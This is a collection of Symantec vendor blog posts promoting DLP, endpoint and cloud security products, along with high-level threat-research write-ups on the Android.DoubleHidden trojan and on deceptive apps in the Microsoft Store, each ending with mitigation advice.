Japanese language enhancements
To better support customers that need to secure Japanese data sets, we have extended our capability that can auto-identify data patterns indicative of Japanese PII data in structured / unstructured documents. This allows customers to deploy policies based on this detection across wider geographies.
Endpoint Google Chrome API Integration
We have integrated the capability to use a Google-approved, stable API (negating the need to use traditional browser extensions). With this integration, future Chrome browser updates from Google will not adversely impact the agent’s ability to monitor it for data loss.
Symantec DLP 16.0 RU 1 is a compelling and customer vetted release. DLP 16.0 RU1 includes improved detection, new features and workflow changes. Symantec DLP Endpoint for Mac offers feature parity with Windows. Creation and deployment of DLP policies have been strengthening and simplifying. And significant improvements to incident and workflow management are in place. Upgrade now.
To find out more, contact your Symantec DLP representative and visit the Release Documentation page.
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DLP Best Practices Grab a Bigger Spotlight
10 things you can do to improve DLP in the time of Covid
If the Covid-19 pandemic of 2020 has taught people anything, it is that the health, safety and security of one’s family is a paramount issue that can’t – and shouldn’t – be ignored.
That new emphasis on safety goes beyond employing methods such as frequent hand washing, practicing social distancing and wearing a face covering in many social situations. With more people working from home than usual, the remote use of corporate networks has put the spotlight upon data loss threats and ways to cut down or eliminate the loss of data from within and outside an organization.
Regulations, including those such as GDPR, CCPA and HIPAA, require companies to build up their defenses against network threats and the possibility of data loss. But a few easy practices can go a long way toward safeguarding an enterprise’s critical information and help prevent the loss of crucial data. Taking such steps now can reduce the costs associated with data breaches and loss later. In our opinion, there is no excuse for letting one’s guard down when it comes to data loss.
With more people working from home than usual, the remote use of corporate networks has put the spotlight upon data loss threats and ways to cut down or eliminate the loss of data from within and outside an organization.
Let’s take a look at 10 best practices that we believe are easy to employ, and beneficial to an enterprise that’s looking for ways to prevent data loss across its organization.
10 Best Practices:
1. Run the latest DLP software version. Too many companies are behind the eight ball when it comes to their data loss prevention software. Even DLP offerings from just two years ago can be obsolete when it comes to fighting the latest network threats. Simply employing the latest version of DLP software will provide you with the ability to use all of the newest capabilities and derive maximum data protection benefits, both in your network and at it's endpoints.
2. Use Endpoint DLP to get the most out of your investment. If you’re going to put your money into endpoint protection, you might as well get the best coverage you can get. For example, with employees using their company laptops at home more than ever, the use of cloud storage apps is only increasing. Symantec DLP Endpoint gives customers multiple ways to configure the endpoints, monitor different machines, and target policies and configurations to specific users. And end users can also get messages that will improve their knowledge of safe data handling practices.
3. Use all Endpoint DLP channels to get the widest possible coverage. You can use Endpoint DLP to monitor data transfer to and from peripheral devices, printers, Outlook email, and cloud storage locations. Additionally, the technology gives you a way to do threat-aware DLP and keep unwanted applications from accessing sensitive information.
4. Use all your DLP entitlements. There can be times when an enterprise isn’t getting the full value of its DLP offerings because it isn’t using all the features of its DLP entitlements. A company might only be using the two entitlements it originally set out to purchase. We encourage customers to use the full capabilities of products like our DLP Core and DLP Cloud to ensure they aren’t missing out on something they really need.
Symantec DLP Endpoint gives customers multiple ways to configure the endpoints, monitor different machines, and target policies and configurations to specific users.
5. Place some of your Endpoint Servers in the DMZ. Pushing policy changes to remote workforces is becoming more of a necessity these days. Policies and incidents can be exchanged in a timely manner when endpoint servers are placed in the DMZ. New policies can be pushed whenever necessary, and violations can be found immediately. However, exposing the endpoint server to the internet requires careful operational security considerations.
6. Expand into DLP for SaaS applications. As more employees are working remotely, the use of cloud applications such as Box, Google Drive and Dropbox has skyrocketed. Enterprises’ need to have coverage for such apps has skyrocketed. If a company has already invested in one of Symantec’s DLP programs, it’s really a no-brainer to extend that program to include DLP for Cloud and enable the same policies already in use to cover SaaS applications.
7. Review policy exceptions. It makes sense to check on policy exceptions and make sure everything in use is still required. There’s no better time than now to make sure the right policies are in place.
8. Check for policy gaps. Have some of your policies been disabled? While this might have happened on purpose, any time a policy is disabled, there is gap that might now need to be filled. And with the ongoing COVID situation changing how people work, this is the time to find out if new policies are necessary to protect business data.
If a company has already invested in one of Symantec’s DLP programs, it’s really a no-brainer to extend that program to include DLP for Cloud and enable the same policies already in use to cover SaaS applications
9. Use all the Advanced Detection Capabilities. We have seen companies, even large organizations, do the equivalent of cherry picking when it comes to employing advanced detection capabilities. They might use a DCM (Described Content Matching) rule for looking at Social Security or credit card numbers. We think this is a mistake. There is a lot more detection power available and using technologies like Exact Match Data Identifier (EMDI) can go a long way toward finding more specific data and image files.
10. Focus on identifying risky users. Most customers have a violations-centric view of the world. And customers need to start looking at who are the riskiest users. Symantec ICA is a user and entity behavior analytics platform that, when used in conjunction with solutions such as Symantec DLP, Symantec Endpoint Security and Symantec CASB, provides rapid identification of insider threats and cyber breaches. And during this time of COVID, this additional perspective can help give a bigger picture of where the riskiest users reside.
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Does Your Endpoint Security Solution Have These 5 Essential Features?
A layered approach to endpoint security
In just the last year, we saw more than 1 million new malware variants introduced per day and the number of ransomware families tripled (ISTR22). The average ransom amount paid spiked 266 percent to $1,077. Those kind of stark numbers provide a glimpse of the herculean task that security professionals face on a daily basis. As organizations struggle to deal with the rising security demands associated with complex networks and myriad, ever-mutating external threats, it's imperative to ensure that the right endpoint security solution is in place.
In a recent blog, Gartner’s Avivah Litan advises customers to "Use a layered endpoint security approach that includes application whitelisting and blacklisting, and other controls that come bundled with most EPP platforms".
I couldn’t agree more. Enterprises need complete endpoint security that provides full cycle protection that includes protection, detection and response specifically designed to handle a rapidly shifting security environment. The consequences for operating with more limited protection have never been clearer.
To help ensure your organization is fully protected from today's most serious threats, here is a list of the most essential technologies for complete endpoint security.
1. Total security spanning the entire attack chain
Infections are simply one link in a larger chain leading to a network breach. The best endpoint security systems fuse next generation technologies with proven ones to offer protection from threats regardless of how or where they appear. Only by taking a more holistic approach can businesses ensure they receive the best possible protection. The most powerful endpoint security offerings possess deep capabilities at all the relevant stages: incursion, infection, exfiltration, remediation, etc. Let's take a closer look at some of the core features to look for at each of these stages:
The Incursion.
Protection from email borne threats: Recent research shows that 1 in 131 emails contain malware including ransomware (ISTR22). You need endpoint protection that scans every email attachment to protect you from stealthy attacks.
Protection from malicious web downloads: 76% of the websites scanned have vulnerabilities (ISTR22) that can be exploited by attackers to serve malware. Intrusion Prevention technology that analyzes all incoming and outgoing traffic and offers browser protection can block such threats before they can be executed on the endpoint.
Powerful endpoint protection should also allow easy Application and Device Control so that you can enforce over which devices can upload or download information and access hardware or have registry access
The Infection.
Along with providing these essential protection at the incursion level, the best endpoint solutions offer advanced functionality and protection from every type of attack technique. Some of these recommended features include:
Advanced Machine Learning. By analyzing trillions of examples of good and bad files contained in a global intelligence network, advanced machine learning is a signature-less technology that can block new malware variants at the pre-execution.
Exploit Prevention. Almost every week you hear about a new 0-day vulnerability discovered in popular software like browsers and productivity software. IT organizations cannot keep up with testing and applying patches fast enough which leaves a vulnerable attack surface on these software that are exploited by attackers, many a times with memory based attacks. Exploit prevention technology protects against such 0-day vulnerabilities and memory based attacks
File reputation analysis based on artificial intelligence with a global reach. The most advanced analysis examines billions of correlated linkages from users, websites, and files to identify and defend against rapidly-mutating malware. By analyzing key attributes (such as the origin point of a file download and the number of times it has been downloaded), the most advanced reputation analysis can assess risks and assign a reputation score before a file arrives at the endpoint.
High-speed emulation at the endpoint acts like a light and fast ephemeral sandbox allowing for the detection of polymorphic or mutating malware
Behavioral monitoring. Should a threat make it this far along the chain, behavioral monitoring can tap into the power of machine learning to monitor a wide variety of file behaviors to determine any risk and block it. Again a great defense against ransomware and stealthy attacks such as malicious PowerShell scripts. Research shows that 95% of the analyzed PowerShell (ISTR22) scripts last year were malicious.
Smart organizations will also pay attention to the lateral movement of malware within an organization and anti-exfiltration capabilities of their endpoint solution. Intrusion prevention, firewall policies and behavioral monitoring also come into play here, and these features should be present in any advanced endpoint platform. These technologies were particularly effective in preventing propagation of the recent WannaCry ransomware.
2. Powerful Incident Investigation and Response
Most organizations understand that a determined attacker will get through. However what they crave for is powerful detection capabilities to identify the breach as soon as possible and a very easy to use workflow for incident investigation and response. Industry analysts have begun to call this Endpoint Detection and Response (EDR). Advanced EDR solutions help isolate the endpoint as you investigate the breach, contain the spread of the malware through blacklisting and allow easy remediation by deleting the malware restoring the endpoint to a pre-infection state
Overall, the most effective endpoint security offers deep protection across each level of the attack chain, detection and response. As the old saying goes, security is only as strong as its weakest link, making a comprehensive approach essential.
3. Performance and scale backed by advanced functionality
As detailed above, a fully-protected attack chain is of critical importance. Yet the value of high performance shouldn't be understated. The best endpoint security should be optimized to prevent user and network slowdowns. It should also scale as your enterprise grows
4. Low Total Cost of Ownership
Finally, a single agent that combines the technologies normally available only through the use of multiple agents (machine learning, exploit prevention, EDR, etc.) is highly desirable. Organizations using a single agent can reduce the burden on IT by consolidating their management and maintenance of multiple agents -- while receiving the added benefit of lowering the total cost of ownership.
5. Seamless integration for orchestrated remediation
The most advanced endpoint solutions make easy integration a priority via an open API system, so organizations can leverage their existing security infrastructure like network security, IT ticketing systems and SIEMs.
The Takeaway
All endpoint security solutions are not created equal. The best, most advanced offerings have three core elements: Total protection, detection and response across the attack chain, high performance and scale without sacrificing efficacy, and seamless integration with existing infrastructure.
Ideally, these three components should arrive in a single, comprehensive yet lightweight package, as the effort of managing multiple agents lowers efficiency and increases costs. Organizations that seek these features when considering a new endpoint security solution will, without question, receive the highest level of protection for their investment.
Gartner 2017 Magic Quadrant for Endpoint Protection Platforms - Download Now
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Don’t Be Spooked By Ghost DLP Incidents
Symantec DLP’s automation tools remove distracting ghost incidents to improve focus, reduce workloads and ensure compliance
Anyone who operates a management system knows the importance of good data. If you are not dealing with up to date information, then you can’t react in the right way - in short you waste time, effort and quality by using out of date information.
In DLP systems one barrier to good data is the problem of ghost incidents - incidents that have been created from an earlier scan that persist in the system even though the underlying situation has now been resolved. Why are they still there? Because managing data risk is complex. Many organizations rely on manual intervention to close out these ghost incidents. However, this process can be time-consuming and prone to errors, so the data does not get removed. This results in ghost records and a management information system that is out of date.
As a consequence, we see customers are forced to deal with:
Too many ghost incidents cluttering up their management console.
Incident Response teams being overwhelmed by a high volume of DLP incidents that require manual intervention.
How to satisfy compliance requirements without adding to the workloads of DLP teams?
To address these challenges, we recommend leveraging the automation capabilities of Symantec DLP. And to achieve a high degree of compliance using automation, we suggest configuring the Remediation Detection Preference, which verifies the sanity of the data before automatically closing the Symantec DLP incidents using REST APIs. Remediation Detection Preference is the linkage between DLP incidents for files found in earlier scans and the current state observed in the subsequent scans for those same files. This linkage between scans can be used for the safe closure of DLP Incidents.
Steps to follow to keep the DLP Program clean and eliminate ghost DLP incidents.
Steps to follow to setup automation using Symantec DLP:
Create a Symantec DLP Network Discover target with the following configuration: Scheduling, Incremental Index, Remediation Detection Preference.
Setup End User Remediation to recruit a wider army of remediators.
Create a Cron job or Scheduled Tasks using Symantec DLP REST API to close incidents when appropriate Remediation Detection Status is set on DLP Incident.
With Symantec DLP, you can automatically identify DLP Incidents using scheduled Network Discover scans, inform data owners about incidents via End User Remediation, receive confirmation of data sanitization, verify data with DLP policies in combination with Remediation Detection Preference and automatically close verified incidents—all without manual intervention.
By automating the DLP process, your team can save time and reduce the risk of manual errors. We at Symantec are committed to helping you modernize, optimize, and protect your security programs. If you need help implementing these automation features, please don't hesitate to contact Symantec.
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Don’t Leave Security Holes in your (AWS) Buckets
Misconfigured AWS S3 buckets can lead to the accidental disclosure of confidential data. And it’s happening more often than you might think
As December vacations beckoned, people looked forward to spending time with families and friends during the holidays. But their teeth would have been set on edge had they known what was happening with their personal data stored on the cloud.
A misconfigured Amazon Web Services (AWS) S3 cloud storage bucket had publicly exposed information belonging to some 123 million households, leaving interlopers free to rifle through a trove of personal data. Unfortunately, this wasn’t a one-off. AWS S3 buckets are often accidentally left “world viewable,” resulting in the accidental disclosure of confidential data to everyone.
Similar issues have plagued sophisticated security organizations – including the US Army's Intelligence and Security Command, which was similarly found to have been leaking classified and sensitive data.
A common misconfiguration allows anyone with the AWS credentials to access sensitive company files used by applications. This error can occur when someone’s setting permissions on a top-level folder – and when they’re using subfolders, they may not even realize the information is being exposed. From that point, an attacker doesn’t even need to do anything clever to get a look at your data.
That’s just one issue. When it comes to securing cloud storage, companies need to understand that this is a lot different than building an on-premises defense. They face myriad threats that they may have never faced before. For example, malicious hackers are now able to assemble malware and infiltrate a company’s cloud in stages.
Open Season on Cloud Storage
Savvy hackers have come up with a grab bag of similar tricks to fool most anti-malware programs, which are not storage-specific. For instance, these programs will simply give up when it comes to vetting very large files – which is exactly what attackers desire since that allows them to evade anti-malware scans. There’s a new constellation of threats facing cloud storage. Consider, for example, the following:
Malware persistence: Malware no longer restricts itself to looking at persisting in files on endpoints or registries on endpoints. It’s become increasingly able to hide in shared storage. Even when users reboot their computers, the malware can still resurrect itself from the registry or file system.
Day-1 Incursion: Re-scanning of storage files helps where malware incursions occur before a day zero disclosure. But unless there is a subsequent remediation and re-scan with updated definitions you run the risk of new infections.
Unscannable Network Files: Attackers are finding particular success evading detection by using deeply nested larger container files such as .zip, .tar. , .gz, and .bz. When these files are larger than 10MB, they often don’t receive scans and serve as springboards for new attacks on the network.
These and other changes in the threat landscape are all the more reason why you need storage security solutions that can automatically block attackers and plug any holes inadvertently left open.
Prevent Your Company from Kicking the Bucket
Symantec CWP provides compute, storage and container (docker) security in a single CWP console.
CWP-Storage includes malware protection, access visibility, quarantine management and remediation policy. Customer data stays in the customer’s custody and remains confidential – along with the convenience of auto-scaling.
Bottom line: As more companies move their storage to the cloud, attackers are moving to the cloud as well. For companies seeking to reap the economic and operational benefits of the cloud, make sure your storage is secure. All it takes is one small mistake to blow a hole in your defense as wide as the Grand Canyon.
If you found this information useful, you may enjoy:
Symantec Cloud Workload Protection for AWS Compute and Storage
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Don’t Let Security Die in Darkness
Reporting ‘on the truth, the whole truth, and nothing but the truth’ is the foundation for a healthy security strategy
We are reminded every time we read the Washington Post that “Democracy Dies in Darkness.” The same principles that apply to a healthy democracy apply to corporate data security, too.
In a democracy, lawmakers have an obligation to represent the best interests of the majority of their constituents, based on the best available data. However, what if that data is flawed; filled with gaps and false statements? What if a malicious foreign actor is interfering with the integrity of that data?
In a company, we normally find an administrator, a group of administrators, and cross-functional teams as the critical decision makers. Their decisions need to represent the best interest of the stakeholders based on the data that is presented to them, and a wrong decision could be devastating. Their critical data needs to be both complete and accurate. If the data is incomplete or false, whether influenced by a malicious actor or simply a human error, those decisions are being made “in the dark.”
Data detection An Organization’s Light
Critical data can be detected through a variety of security products; most commonly through a data loss protection (DLP) product. DLP solutions discover, monitor, and protect data independently whether within corporate premises or in cloud-based applications. A decision maker needs to feel confident that – wherever data goes – they are aware of the location, the accuracy, and the integrity of that data. However, if the data detection capability of their DLP solution is flawed, filled with gaps or false positives, then a decision maker is in the dark, and can no longer make decisions in the best interest of the company.
When combining different security solutions, an extraordinarily powerful solution emerges, ensuring that your organization’s sensitive data is protected wherever it may go.
Reporting ‘on the truth, the whole truth, and nothing but the truth’ should become the foundation for a healthy security strategy, making it mission-critical for an organization to leverage a DLP solution containing the best data detection capabilities on the market. This is not a suggestion, it’s a decision maker’s obligation, in order to light the way to the truth.
Even when decision makers are armed with the truth, further action is necessary to protect and enforce their security decisions. In fact, data detection is just the beginning. Companies with the best security practices rely on a family of products beyond DLP.
For example, cloud access security broker (CASB) products can extend data policies in the cloud. Encryption products further protect the integrity of corporate data. And identity and access management (IAM) products help ensure that a malicious actor does not access data.
When combining different security solutions, an extraordinarily powerful solution emerges, ensuring that your organization’s sensitive data is protected wherever it may go. The data is complete and truthful, and administrators are able to make the best possible decisions and keep the organization healthy. With the right products in hand, the fate of the business suddenly looks much brighter.
Of course, the fates of democratic countries rely on more than just the ability to shine light on the truth through their data integrity. But they will almost certainly wither without that strength. As a corporate security professional, your ability to influence the fate of your organization is far greater – and your mandate is no less urgent.
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Don’t Try to Defend Your Data by Fighting the Last War
The battlefield of IT infrastructure has changed and perimeter of yesteryear is gone, never to return. Here’s how to arm yourself for what’s ahead.
Never has your data lived in a more dangerous world. Attacks are more frequent, more damaging, and more ingenious than ever.
Ransomware like WannaCry is costing companies billions of dollars. DDoS attacks like the Mirai botnet are bringing down data centers and networks. Some attacks are the sophisticated multi-stage variety, in which a spear phishing exploit implants an advanced persistent threat (APT) within an organization, where it may live for months or years. Malicious actors are no longer teenagers in their parents’ basements, but sophisticated cyber criminals intent on financial gain, as well as nation-states seeking to destabilize large enterprises and national economies.
It’s your job to defend your data, but fighting the last war won’t work. That’s because the battlefield of IT infrastructure has changed.
Once there was a perimeter to defend. No more. Wi-Fi signals travel beyond the walls of corporate facilities and can be picked up across the street or in the building next door. Mobile devices come and go, carrying corporate data outside an organization and bringing malware in. In the course of a single transaction, data might go to and from multiple public cloud services. The idea of a defensible perimeter is obsolete.
It’s your job to defend your data, but fighting the last war won’t work. That’s because the battlefield of IT infrastructure has changed.
In this battle, you want to have technology on your side. But which? Many enterprise security leaders are facing a choice between Secure Web Gateway (SWG) and Next-Generation Firewall (NGFW) technologies. Because you are likely to hear plenty of claims and counterclaims about both, you owe it to yourself and your organization to be an educated buyer.
Without question, NGFWs include significant advances over previous-generation firewalls, such as deep packet inspection (DPI) and intrusion prevention system (IPS) technologies. But they can’t do everything. To understand how an NGFW works and why you might require more, I suggest you take a look at the white paper, “Network Security for the Cloud Generation -- A Comprehensive Defense-in-Depth Approach,” published by Symantec. To get the full picture, you should read it from beginning to end. Here are the things that jump out at me:
Encryption is a key tool for defending your data -- but unfortunately, it’s also a key tool used by bad actors to enable their malware to fly under the radar and into your organization. According to Ponemon Institute, nearly half of cyber attacks over a 12-month period used encryption to penetrate organizations undetected.
To decrypt data packets and inspect them takes work. NSS Labs found that when SSL decryption was enabled on NGFWs, performance plummeted by an average of 81%. With that kind of drop-off, it’s no wonder network administrators adjust the settings on many NGFWs to let SSL traffic pass through uninspected.
SWG also blocks malware better. In a head-to-head test conducted by the Tolly Group in March 2017, the Symantec Secure Web Gateway demonstrated significantly better blocking capability than NGFW. For example, SWG blocked 99.26% of phishing attacks, compared with 78.75 for NGFW. And SWG blocked 99.18% of malicious URLs, vs. 61.01% for NGFW.
What’s more, NGFW evasion techniques are becoming increasingly sophisticated, according to Felix Leder, director of the detection technology group at Symantec. One technique is to split data or encode it in ways that an NGFW cannot understand. When the NGFW receives the data, but does not understand the request that data is making, the NGFW will forward it and react later. If just one packet can get through this way, it’s possible to re-establish connections over and over again to send more packets to infect an organization with malware. In contrast, a SWG will block these packets, Leder explains.
Because we live in the cloud era, the ability to support a large number of cloud-based applications is critical. The Tolly Group found a leading NGFW could support only one-eighth the number of cloud applications as the Symantec SWG.
Finally, a SWG can form the foundation of an Integrated Cyber Defense (ICD) platform covering both cloud and on-premises elements of your IT infrastructure. That’s because it can integrate with other parts of your security ecosystem, such as your data loss prevention (DLP) application, something that NGFWs are not designed to do.
All this is not to say that NGFWs have no place in your cyber defense strategy. But as you study NGFW and SWG technologies, you are likely to find the ability of a solution like Symantec SWG to more effectively inspect and decrypt traffic, and block malware without slowing down your network, is something your organization cannot do without. It’s technology designed for a time when the perimeter of yesteryear is gone, never to return.
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DoubleHidden Malware Found Hiding on Google Play
Android malware uses multiple tricks to remain hidden on devices.
We have uncovered a new Android Trojan that uses several techniques to hide itself on devices, and remain in the Google Play Store. The malicious app collects device information and displays advertisements. However the functionality and behavior of this app could be easily extended to a wide range of other malicious purposes.
The malware (Android.Doublehidden) is localized in the Persian language. Its name translates to ‘Photograph by Fiery’ and it has a package name of com.aseee.apptec.treeapp.
The pattern of availability of this malicious app on Google Play suggests the author is attempting to remain under the radar. During October and November 2017, the app has been updated five times, alternating between a working legitimate photo editing app, and this self-hiding malicious non-app. As far as we can tell, the app developer ‘i.r.r developer’ publishes several other apps which are legitimate.
Figure 1. The Norton Mobile Security App Advisor for Google Play blocks Android.DoubleHidden
The app presents itself as a photo editing app, but immediately dupes the user and hides itself on installation. On launch, the app asks the user for Device Administrator permissions—a well-used approach for malware to gain a strong foothold on the device. In the subsequent user interface (UI) screen, the app displays a message which roughly translates as: “Unfortunately, this app does not work on your phone. After exiting, the application will be deleted.”
Although the app closes, the malicious functionality is already in place.
The app hides itself on the device using the following techniques:
The launcher icon is set to a transparent image with no app name. After installation, the app icon appears as a blank space on the home screen. In the settings, the app will appear as a blank entry wherever it is displayed.
The app calls setComponentEnableSetting(). Once the app launches, it disappears from the app launcher (its icon no longer appears on the home screen).
Figure 2. The Blank app icon on the home screen disappears once the malware is launched
The app leverages its position on the victim’s device to collect data and advertising revenue. The app collects user information to send to the malware authors. Google Cloud Messaging is used to push configuration information, including when to collect data and where to send it.
The malware may collect the following information:
Device information, such as International Mobile Equipment Identity (IMEI) number, Mac address, device model, device brand, device screen
Installed applications and timing of install/uninstall
Activity/UI time for the malware
Network connectivity (throughput while roaming/Wi-Fi-connected/carrier-connected)
Device location
All accounts listed in the Account Service
Which application is running in the foreground
If the user gave the malicious application the Device Administrator permission, it will be more difficult to remove.
The malware also requests and displays advertisements on the device including suggestions for additional applications by using the OneSignal notification network.
If the user gave the malicious application the Device Administrator permission, it will be more difficult to remove, as the user will have to disable ‘Device Administrator’ for the app in the app settings (and remember, this entry is a blank row) to actually uninstall it.
Figure 3. Settings screen with blank Android.DoubleHidden entry
Protection
Symantec and Norton products detect this malware as:
Android.Doublehidden
Mitigation
Stay protected from mobile malware by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton, to protect your device and data
Make frequent backups of important data
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Do You Know What ROI You’re Achieving with SES Complete?
This Symantec ROI Calculator is customized to your organization
At Broadcom Software, we know that companies are investing in security tools at an increasing rate. With the additional burden on staff and budget that these tools bring, it’s important to know what specific benefits they bring to your organization. That’s why Symantec Endpoint Security has developed an ROI Calculator that can be tailored to each customer with the help of our Account Director team. We are so confident in the value you’ll see in SES Complete that we encourage present and potential customers to try our new ROI Calculator.
What is the new ROI calculator?
The tool is based on a recent Total Economic Impact study conducted by Forrester Consulting for Symantec, by Broadcom Software. The analysis found that a composite organization experienced benefits of $5.4M over three years versus costs of $1.0M -- an ROI of 437 percent. Your mileage may vary, but it’s an excellent way to change your thinking about endpoint security products from solely technological to financial. That can be especially helpful when explaining the advantages of a big technology investment to your top brass.
And you don’t need to take my word for it. Our new ROI Calculator is customized to your organization. You provide such information as the total number of endpoints, the number of real threats per year, the base cost of a security breach, the fully loaded annual salary of a security analyst, the time it takes to secure and endpoint, total annual endpoint license expenditure and the number of security analysts needed per threat. We crunch the numbers.
What does it do?
What the calculator delivers is a clear-eyed assessment of expenditures and benefits. A customer recently told me it required him to think of the total cost of his company’s endpoint security, not just the product’s price tag. A comparison of product feature to product cost doesn't really equate to the overall solution value. Bingo. There are many “soft” costs of a breach that our new calculator is designed to identify quickly.
We estimate that a single security breach costs a company about $1.25 million. By digging into that figure with our calculator, we can show how SES Complete can help pay for itself.
There are some key reasons why SES Complete can generate such favorable ROIs:
The massive volume of proprietary data enterprises process every day is constantly under attack. The number and variety of endpoints that employees use to access that data makes it all the more difficult to block threats, or detect them once they get into the network. With SES Complete, potential threats are largely stopped before they get in, leaving few that need to be identified and rectified in real time. With SES Complete, additional endpoint protection tools may no longer be required, and that equates to cost savings for your organization. The TEI study finds that our customers spent 10 percent less on other security application licenses.
Employee time is the most valuable commodity of all. Automation means only the highest priority threats require human attention. SES Complete protection, detection and analytics address issues proactively, allowing security and IT team members to focus on more strategic tasks.
The Broadcom Software sales team is trained in the ROI calculator and wants to work with you to generate some insightful numbers so that you can strengthen your enterprise and show you how you can have greater protection with an automated, streamlined, and effective endpoint solution.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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Do You Treat Your Cloud Like a Pet or Like Cattle?
How you answer that question will go a long way toward determining how to protect your data
It’s not the usual question people in IT confront as they set out to migrate applications to the cloud. But it gets to the heart of the challenge they face and the likely measures they’ll take to protect their workloads.
One thing that years of experience working in the security industry has taught me is the importance of first defining the types of users sitting across from me. So back to my original question about whether someone treats their workloads as pets or cattle.
If you fall among the kinds of people who tend, nurture and name their workloads for the long haul, you belong under the pets’ category. If you instead view this from a more short-term perspective - grow them, feed them, kill them off and eat them - then you’re a cattle person. In other words, if you design your workloads to be disposable and replaceable at any time, then they are a part of the herd. On the other hand, if you view your workloads to be unique and indispensable, then they are pets.
My point isn’t a literal one. But the difference between the traditional patch-and-maintain approach and the new repave over everything is an important one. Who are you and how are you going to behave in the cloud? More to the point, how do you want to behave in the cloud. How you answer those questions will go a long way to determining how to protect your data. Be honest with yourself on your state today, but know where you want to go in the future. You may transition to the cloud as a Pets person because that is all you know today. You may end the journey as a Cattle person as you lean in and learn more.
Smart Behavior in the Cloud Era
There’s no shortage of buzz around the emerging DevOps role - and no shortage of hype. You regularly find “experts” pushing the idea that everything has to be DevOps, DevOps, DevOps. For the record, DevOps is great but let’s not forget that traditional IT still exists in the cloud - and will continue to be there for the foreseeable future.
Ultimately the conversation should be around where a customer sits on the cloud maturity curve. Organizations find themselves at different points, some are just starting by lifting and shifting workloads to the cloud while others are further along and starting to realize the optimization that can be achieved in the cloud. They say geography is destiny. In the same way, where you find yourself on that curve will ultimately drive your behavior as well.
The fact is that the bad guys are sophisticated and know the IP schemes for the different cloud platforms. If you don't have proper security in place, you’re inviting a world of trouble.
Too often, companies approach security and cloud adoption as separate projects, spinning up an environment and dealing with security as an afterthought. The problem with this approach is, it leaves you less secure and it will also slow you down. You lose the efficiency you gain when you automate and build-in instead of bolting-on.
No matter where you find yourself on the cloud maturity curve, security and cloud deployment go hand-in-hand. Depending on how you treat your workloads, like pets or cattle, may impact how you secure your cloud, but it should never impact if you secure your cloud.
Whose Responsibility?
You need to think of security as a part of the planning stages of cloud deployment so that it informs the entire process and provides sufficient awareness and visibility of your workloads in the cloud. You will need the right APIs and cloud integrated technologies to understand who is using the cloud, how they are using the cloud and what is in the cloud.
Gartner estimates that 95% of all cloud security failures are due to cloud misconfigurations. I can’t tell you how often I hear customers say, `Well, I’ll just put it out there and my cloud provider will take care of it. We don't have to worry about security.’ They ought to spin up a public facing server to test out that proposition and see how long it takes before an attacker starts messing with it. We are talking minutes to hours, not days or weeks.
The fact is that the bad guys are sophisticated and know the IP schemes for the different cloud platforms. If you don't have proper security in place, you’re inviting a world of trouble.
Whether you treat your workloads like pets or cattle, it’s important to be thinking about how you will keep it secure. You may tend to your pets lovingly and give them good long lives. Or, you may lock your herd up so tight they don’t need to be looked after again until it is time to replace them all. Either way, you must have a security focus on the “beast” that best describes your style.
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Dozens of Apps on Microsoft Store Displaying Adult, Gambling Content
Symantec found 81 deceptive PUAs displaying pornographic and gambling content.
On March 14, we discovered 81 potentially unwanted applications (PUAs) on the Microsoft Store, some of which display pornographic images and gambling content. While some have been removed, most of these apps are still available to download from the app store.
The apps cover a range of different categories such as sports, games, news, tips, etc. They appear to be published by more than 30 different developers. A full list of the 81 apps, as well as their store page links and author names, can be found in the table at the end of this blog.
"Over 80 potentially unwanted apps displaying questionable content on the Microsoft Store: https://symc.ly/2UlNfEp"
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Fake apps
To trick users, the apps use familiar names from some popular brands in their titles, such as Wix Updates Application, Antivirus Avira App, Norton Antivirus Updates App, McAfee Antivirus Updates News, Tinder Dating Updates, Tips and Games, and Grindr Updates.
Figure 1. Wix Updates Application store page
Figure 2. Tinder Dating Updates, Tips and Games store page
However, these apps have nothing to do with the brands or their original apps. In fact, some of them display content such as pornographic images and advertisements for gambling websites. Other apps merely redirect users to the legitimate website of the brand they are claiming to be related to but they all have the ability to display whatever content they chose at a later date.
Questionable content
All these apps show their unsavory content at start time (see Figures 3 and 4 for examples).
Figure 3. Screenshots of ASHLEY MADISSON DATING UPDATES and Grindr Updates at start time
Figure 4. Screenshots of Unique Casino and Virgin Games Updates at start time
At the same time, none of the apps state this behavior in the description section on the app store page. In fact, the apps all display innocuous screenshots provided by the developers, which are totally unrelated to the real functionality of the apps.
Figure 5. Actual screenshot of what the Grindr Updates app displays (left) and the screenshot provided by the developer (right)
Shared server
We analyzed the samples and found that they all call http://myservicessapps[DOT]com/firebase/[PHP Name]?app=[APP ID] to get the configuration for the current application, where the app can parse the style and specified URL by the “red_ph” value in the configuration. For example, for the app Buy Bitcoin, the app will call http://myservicessapps[DOT]com/firebase/win_new_cl.php?app=2504-buy-bitcoin at app start time to retrieve the configuration, and the “red_ph” value directs the application to behave accordingly. This tactic allows the apps to display whatever content the developers choose, so even the apps that currently redirect to legitimate websites could display dodgy content at a later date.
Figure 6. Web query result of Buy Bitcoin app, with “red_ph” parameter highlighted
Potential for more serious risks
Since the app is fully controlled by the server, it is possible for the developer to inject malicious code of their choosing. This could, for example, be coin-mining scripts, allowing the app developers to generate profit from users who have installed their apps. The developers can also display phishing websites in the apps. In fact, some of the apps already show suspicious phishing content that requests credit card information (Figure 7).
Figure 7. Screenshot of ASHLEY MADISSON DATING UPDATES 2 requesting credit card information
Similar file structure
We explored the application packages of all 81 apps and found that the content of each looks very similar (Figure 8). This, combined with the fact that they are sharing the same server, makes it highly likely that these applications are published by the same group of developers.
Microsoft was notified about our discovery and said it would investigate. Several of the apps are no longer available on the Microsoft Store.
Figure 8. Grindr Updates file structure (left) looks similar to that of Tinder Updates (right)
Mitigation
Stay protected from malware and other risks by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Install a suitable security app, such as Norton or Symantec Endpoint Protection, to protect your device and data
Make frequent backups of important data
In addition, the following tips can help you avoid downloading PUAs:
Check the name of the app you’re thinking of downloading. If it’s a popular app, search online for it and make sure the name matches the results. Fake app authors will often add words to the legitimate app’s name, such as “Updates” which can be a clue something isn’t right.
Check the app developer’s name, which can be found on the app’s store page. Do an internet search for the developer as there may be users who have had experience of their apps—good or bad.
Check the app reviews. While fake reviews are common, they’re often short and generic. There may also be legitimate reviews from users who have figured out that the app isn’t what it appears to be.
There may also be some visual clues that the app is not legitimate, such spelling mistakes or layouts and user interfaces that look unprofessional.
Protection
